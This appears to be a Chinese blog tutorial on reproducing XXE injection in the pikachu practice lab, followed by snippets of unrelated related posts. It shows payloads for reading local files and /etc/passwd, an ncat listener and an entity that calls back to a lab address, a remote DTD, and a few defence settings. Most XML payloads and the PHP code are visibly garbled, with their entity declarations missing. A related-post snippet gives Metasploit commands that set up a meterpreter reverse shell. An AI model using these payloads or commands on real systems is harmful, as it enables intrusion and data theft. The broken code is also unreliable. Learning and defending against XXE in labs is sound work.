XXE漏洞复现实操
文章目录
- 一、漏洞原理
- 二、验证payload
- 三、没有回显时的验证
- 四、漏洞特征
- 五、读取文件
- 六、Base64加密读取
- 七、端口检测
- 八、使用php检测端口
- 九、dtd外部实体读取文件
- 十、Xxe漏洞防御
一、漏洞原理
(1)XXE漏洞全称XML External Entity Injection,即xmI外部实体注入漏洞, XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害,XML(也是一种语言)被设计用来传输和存储数据
(2)也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致漏洞
实验环境:windows pikachu xxe漏洞
二、验证payload
<?xml version = "1.0"?>]>
&hacker;

三、没有回显时的验证
<?xml version = "1.0"?>]>
&xxe;

四、漏洞特征
Accept里有application/xml的格式

五、读取文件
<?xml version = "1.0"?> ]> &f;
六、Base64加密读取
<?xml version = "1.0"?> ]> &f;

或则读取linux的/etc/passwd
<?xml version = "1.0"?> ]> &f;七、端口检测
ncat -lvp 4000(端口可自定义)
使用以下语句尝试是否能够建立连接
<!ENTITY xxe SYSTEM "http://192.168.198.2:4000/">
]>&xxe;
如果能够建立连接,那么服务器端的ncat会收到相应的请求信息。

八、使用php检测端口
<?php $xml=<<]>
&xxe;
EOF;
d a t a = s i m p l e x m l l o a d s t r i n g ( data=simplexml_load_string( data=simplexmlloadstring(xml);
print_r($data);
?>
端口关闭的情况如下

开启时

九、dtd外部实体读取文件
<?xml version="1.0"?><!DOCTYPE note[<!ENTITY % d SYSTEM "http://127.0.0.1/note.dtd">%d;]>
&eviltest;

十、Xxe漏洞防御
1、使用开发语言提供的禁用外部实体的方法
1.PHP:
libxml_disable_entity_loader(true);
2.JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
3.Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
相关文章:
XXE漏洞复现实操
文章目录 一、漏洞原理二、验证payload三、没有回显时的验证四、漏洞特征五、读取文件六、Base64加密读取七、端口检测八、使用php检测端口九、dtd外部实体读取文件十、Xxe漏洞防御 一、漏洞原理 (1)XXE漏洞全称XML External Entity Injection,即xmI外部实体注入漏…...
github创建个人网页登录后404无法显示的问题
1.首先必须要有内容,默认是会找index.html文件,找不到该文件会找readme.md文件,也就是说最简单的方法是,创建了与用户名同名的repository后username.github.io后,添加一个readme.md文件,得在readme里打点字…...
MySQL——源码安装教程(初版)
MySQL 一、MySQL的安装1、RPM2、二进制3、源码 二、源码安装方式三、安装过程1、上传源码包2、解压当前文件并安装更新依赖3、对MySQL进行编译安装 一、MySQL的安装 首先这里我来介绍下MySQL的几种安装方式: 一共三种,RPM安装包、二进制包安装以及源码安…...
1.1.C++项目:仿muduo库实现并发服务器之any类的设计
文章目录 一、思想二、框架三、代码 一、思想 每⼀个Connection对连接进行管理,最终都不可避免需要涉及到应用层协议的处理,因此在Connection中需要设置协议处理的上下文来控制处理节奏。但是应用层协议千千万,为了降低耦度,这个…...
linux项目启动脚本start.sh和stop.sh停止脚本
start脚本示例 MAIN_CLASSCLASSPATH.;JVM_PARMS""export APP_HOME$(dirname $(pwd))export APP_APPS$APP_HOME/appsexport APP_RESOURCES$APP_HOME/confexport APP_LIB$APP_HOME/libexport APP_LOG$APP_HOME/logs;export APP_NAME$(basename $APP_HOME)function mak…...
Avalonia常用小控件Svg
1.项目下载地址:https://gitee.com/confusedkitten/avalonia-demo 2.UI库Semi.Avalonia,项目地址 https://github.com/irihitech/Semi.Avalonia 3.SVG库,Avalonia.Svg.Skia,项目地址 https://github.com/wieslawsoltes/Svg.Ski…...
设计模式-行为型模式
文章目录 一、模板方法模式二、策略模式三、命令模式四、责任链模式五、状态模式六、观察者模式七、中介者模式八、迭代器模式九、访问者模式十、备忘录模式十一、解释器模式 一、模板方法模式 定义一个操作中的算法骨架,而将算法的一些步骤延迟到子类中࿰…...
【EventLoop】问题一次搞定
📍 JS的事件循环机制恐怕是大多数前端开发者头顶上的一座大山之一,最近通过拜读两篇文档,对eventloop进行了深刻的理解;通过这篇文档对要点进行总结; article1: 波神的这篇eventLoop文章适合反复重温&…...
Unity中Shader光照模型Phong
文章目录 前言一、Phong光照模型二、图示解释Phone光照模型1、由图可得,R 可以由 -L 加上 P 得出2、P等于2*M3、因为 N 和 L 均为单位向量,所以 M 的模可以由 N 和 L得出4、得到M的模后,乘以 单位向量N,得到M5、最后得出 P 和 R 前…...
消息队列缓存,以蓝牙消息服务为例
前言 消息队列缓存,支持阻塞、非阻塞模式;支持协议、非协议模式 可自定义消息结构体数据内容 使用者只需设置一些宏定义、调用相应接口即可 这里我用蓝牙消息服务举例 有纰漏请指出,转载请说明。 学习交流请发邮件 1280253714qq.com 原…...
MSF派生给另外MSF,meterpreter派生给另外meterpreter,Metasploit
首先是通过ms17_010永恒之蓝拿下shell,192.168.50.146为受害者靶机,192.168.50.130为kali的ip set autorunscript post/windows/manage/migrate nameservices.exe set payload windows/x64/meterpreter/reverse_tcp set lport 5577 set lhost 192.168.50.130 use exploit/windo…...
【LeetCode】1.两数之和
目录 1 问题2 答案2.1 枚举法 (自己写的)2.2 哈希表 3 问题 1 问题 给定一个整数数组 nums 和一个整数目标值 target,请你在该数组中找出 和为目标值 target 的那 两个 整数,并返回它们的数组下标。 你可以假设每种输入只会对应…...
3. Windows下C++/MFC调用hiredis库操作redis示例
一、头文件目录 将之前下载和编译好的Redis目录拷贝到新建好的工程目录下面,再点击测试工程的右键/属性,点击C/常规,附加包含目录添加以下路径,注意如果原先有多个路径,在末尾处添加分号后再粘贴: 点击C/常…...
200、使用默认 Exchange 实现 P2P 消息 之 消息生产者(发送消息) 和 消息消费者(消费消息)
RabbitMQ 工作机制图: Connection: 代表客户端(包括消息生产者和消费者)与RabbitMQ之间的连接。 Channel: 连接内部的Channel。channel:通道 Exchange: 充当消息交换机的组件。 Queueÿ…...
SqlServer--get 和 post 请求 http接口
1. 开启 不开启报错 如下 4.1 SQL Server blocked access to procedure ‘sys.sp_OACreate’ sp_configure show advanced options, 1;GORECONFIGURE;GOsp_configure Ole Automation Procedures, 1;GORECONFIGURE;GO2. post Declare ServiceUrl nvarchar(MAX) Declare req_…...
利用人工智能提升企业培训的个性化体验
随着科技的不断进步,人工智能(AI)正逐渐渗透到各个领域。而在企业培训领域,人工智能也展现出了巨大的潜力。利用人工智能技术的企业培训系统,企业可以为员工提供个性化、高效的培训体验,进一步提升他们的专…...
基于JavaWeb的图书售卖网站(源码+部署+LW)
项目描述 临近学期结束,还是毕业设计,你还在做java程序网络编程,期末作业,老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等。今天给大家介绍一篇基于JavaWeb的图书售卖网…...
Java设计模式之代理模式
代理模式是一种结构型设计模式,它允许通过创建一个代理对象来控制对另一个对象的访问。代理模式在软件开发中经常被使用,它可以提供额外的功能,例如远程访问、延迟加载、访问控制和日志记录等。 代理模式涉及三个主要角色: 抽象…...
Oracle数据泵导入和导出命令
–管理员方式登录,新建表空间和用户,并建立文件夹映射路径并授权 CREATE DIRECTORY directory_name AS ‘path_to_directory’; grant read,write on directory directory to backup ** —EXPDP多线程备份数据库脚本–dblink–可以修改为命令行 echo …...
Linux中所有环境变量配置文件及用途
在Linux系统中,有多个文件可以用来配置环境变量,这些文件位于不同的目录和层级,并可以用于不同的目的。以下是一些常见的环境变量配置文件: 系统级环境变量文件: /etc/environment:这个文件包含了系统范围的…...
3分钟快速上手:免费Windows字体自定义工具No!! MeiryoUI终极指南
3分钟快速上手:免费Windows字体自定义工具No!! MeiryoUI终极指南 【免费下载链接】noMeiryoUI No!! MeiryoUI is Windows system font setting tool on Windows 8.1/10/11. 项目地址: https://gitcode.com/gh_mirrors/no/noMeiryoUI 还在为Windows系统单调的…...
软件开发中的架构:概念、价值与常见模式
在软件工程实践中,“架构”是一个高频出现但又常被误解的术语。很多人将其等同于技术选型或框架选择,但实际上,软件架构远不止于此。它关乎系统的整体结构、组件之间的关系以及指导系统演进的核心原则。本文将系统性地解释什么是软件架构、为…...
别再只盯着GPS了!手把手教你用Python仿真UWB定位,30厘米精度是怎么来的?
用Python仿真UWB定位:从纳秒脉冲到30厘米精度的全流程解析 在室内导航、工业自动化或仓储物流等领域,定位精度直接决定了系统性能的上限。传统GPS在开阔地带表现优异,但一旦进入室内环境,其信号衰减和多径效应会导致定位误差急剧…...
虚拟机异常断电后卡在initramfs阶段?手把手教你用xfs_repair修复系统分区
1. 虚拟机异常断电的常见后果 最近在调试一个基于KVM的虚拟机集群时,遇到了一个典型问题:机房突然断电后,几台虚拟机重启时卡在了initramfs阶段,屏幕上不断刷出"generating /run/initramfs/rdsosreport.txt"的提示。这种…...
网络协议深度解析:从OSI七层模型到TCP/IP实战应用
1. OSI七层模型:网络世界的通用语言 第一次接触OSI七层模型时,我完全被那些专业术语搞晕了。直到后来在实际项目中调试网络问题,才真正理解这个模型的精妙之处。简单来说,OSI模型就像是一本网络通信的"使用说明书"&…...
本地部署开源推送通知系统 ntfy 并实现外部访问
ntfy 是一款简单、轻量级且功能强大的开源推送通知系统,它的核心目标是让用户或开发者能够轻松地从任何设备、任何地方向自己的手机或桌面发送通知。本文将详细介绍如何在 Linux 系统局域网内部署 ntfy 并结合路由侠实现外网访问局域网内部署的 ntfy 。 第一步&…...
OPCUA测试服务器权限问题排查与修复指南
1. 遇到BadUserAccessDenied错误怎么办? 最近在搭建OPCUA测试服务器时,不少小伙伴都遇到了BadUserAccessDenied这个烦人的错误。这个错误代码0x801f0000就像一扇紧闭的大门,明明服务器就在眼前,却因为权限问题无法访问关键数据。作…...
线程与进程的区别与联系:操作系统入门详解(含 Python 示例)
、先搞懂:进程与线程到底是什么?(通俗类比官方定义) 1.1 生活化类比:快速建立认知 如果把计算机的操作系统比作一个大型工厂: 进程:就是工厂里的一个个独立车间。每个车间有自己专属的生产资…...
5分钟搞定KEPserver V6配置:Java读取西门子PLC数据的保姆级教程
5分钟极速配置KEPserver V6与Java通信:西门子S7-1500数据采集实战指南 当工业现场的PLC数据需要与IT系统集成时,OPC技术栈往往是最直接的选择。但传统OPC配置过程繁琐的文档和复杂的依赖管理,常让工程师在项目初期耗费大量时间在环境搭建上。…...
MOOTDX终极指南:Python通达信数据接口让量化分析变得简单高效
MOOTDX终极指南:Python通达信数据接口让量化分析变得简单高效 【免费下载链接】mootdx 通达信数据读取的一个简便使用封装 项目地址: https://gitcode.com/GitHub_Trending/mo/mootdx 你是否曾为获取股票数据而烦恼?面对复杂的API接口和繁琐的数据…...
